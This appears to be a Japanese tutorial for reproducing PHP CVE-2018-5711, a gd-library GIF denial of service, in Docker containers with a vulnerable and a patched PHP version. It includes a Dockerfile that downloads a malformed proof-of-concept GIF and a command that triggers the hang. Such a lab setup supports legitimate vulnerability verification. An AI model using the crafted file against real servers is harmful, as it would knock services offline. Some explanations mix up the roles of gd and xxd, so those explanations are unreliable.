Dockerを使用してPHP CVE-2018-5711脆弱性をテスト

11728 ワード

脆弱性の説明PHPと番号付けされたCVE-2018-5711の脆弱性は、PHPを実行するサーバを瞬時にダウンタイムさせることができます.原理は、gdライブラリが特定の不正なフォーマットのgifピクチャに遭遇したときにCPUを消費し、影響範囲は以下の通りです.
  • PHP 5 < 5.6.33
  • PHP 7.0 < 7.0.27
  • PHP 7.1 < 7.1.13
  • PHP 7.2 < 7.2.1

  • リストされているのは、このシリーズの最高バージョンです.つまり、gdライブラリを使用するPHPのほとんどが、このために最高バージョンに更新する必要があります.
    この脆弱性をDockerで検証する方法を紹介します.ここでは、更新されていないサーバにアップロードした場合、サーバのダウンタイムの可能性を排除せず、経済的損失をもたらすという法律に違反することを強調する必要があります.gitリリースの脆弱性
    コードのダウンロード
    git clone https://github.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711.git

    プロジェクトフォルダへ
    cd Test-7-2-0-PHP-CVE-2018-5711
    PHP 7.2.0ミラーの構築
    docker build -t test-7-2-0-php-cve-2018-5711 .

    構築に成功したらDockerバージョンを表示
    docker run --rm test-7-2-0-php-cve-2018-5711 -v

    見える
    PHP 7.2.0 (cli) (built: Jan  4 2018 01:20:58) ( NTS )
    Copyright (c) 1997-2017 The PHP Group
    Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
    PHPPHPライブラリが含まれているかどうかを確認します.
    docker run --rm --entrypoint /bin/bash test-7-2-0-php-cve-2018-5711 -c 'php -m | grep -I gd'

    含む場合は表示
    gd

    検証プログラムの実行
    docker run --rm test-7-2-0-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'

    プログラムカードが死んでいるのが見えます.GDはプロセスが使用するシステムリソースを制限しているため、ハングアップしない可能性がありますが、Dockerコマンドを使用して関連プロセスを殺す必要があります.docker killバージョンで修理済み
    コードのダウンロード
    git clone https://github.com/huzhenghui/Test-7-2-1-PHP-CVE-2018-5711.git

    プロジェクトフォルダへ
    cd Test-7-2-1-PHP-CVE-2018-5711
    PHP 7.2.1ミラーの構築
    docker build -t test-7-2-1-php-cve-2018-5711 .

    構築に成功したらDockerバージョンを表示
    docker run --rm test-7-2-1-php-cve-2018-5711 -v

    見える
    PHP 7.2.1 (cli) (built: Jan  8 2018 23:13:17) ( NTS )
    Copyright (c) 1997-2017 The PHP Group
    Zend Engine v3.2.0, Copyright (c) 1998-2017 Zend Technologies
    PHPPHPライブラリが含まれているかどうかを確認します.
    docker run --rm --entrypoint /bin/bash test-7-2-1-php-cve-2018-5711 -c 'php -m | grep -I gd'

    含む場合は表示
    gd

    検証プログラムの実行
    docker run --rm test-7-2-1-php-cve-2018-5711 -r '"imagecreatefromgif(\"poc.gif\");"'

    プログラムエラーが表示されます
    Warning: imagecreatefromgif(): 'poc.gif' is not a valid GIF file in Command line code on line 1
    GD説明
    2つの例のDockerfileの違いはバージョンのみであり、完全なDockerfileは以下の通りである.
    FROM php:7.2.0
    
    MAINTAINER huzhenghui hu@daonao.com
    
    RUN apt-get update && \
        apt-get install -y libpng-dev xxd && \
        docker-php-ext-install gd && \
        curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc && \
        xxd -r /poc /poc.gif
    

    まずベースミラーを設定
    FROM php:7.2.0

    メンテナ情報
    MAINTAINER huzhenghui hu@daonao.com

    パッケージマネージャの更新
    apt-get update

    パッケージに従って、Dockerfilelibpng-dev拡張子をコンパイルするために使用され、gdはテキストファイルから不正なフォーマットファイルを生成するために使用され、このファイルはテキストがネットワークで伝播するのに適していないので、コードを転送する必要があります.
    apt-get install -y libpng-dev xxd
    xxd拡張子をインストールします.ここではdockerが提供するツールを使用します.
    docker-php-ext-install gd

    サンプルファイルのトランスコード後のファイルをダウンロード
    curl https://raw.githubusercontent.com/huzhenghui/Test-7-2-0-PHP-CVE-2018-5711/master/poc -o /poc

    サンプル・ファイルのリストア
    xxd -r /poc /poc.gif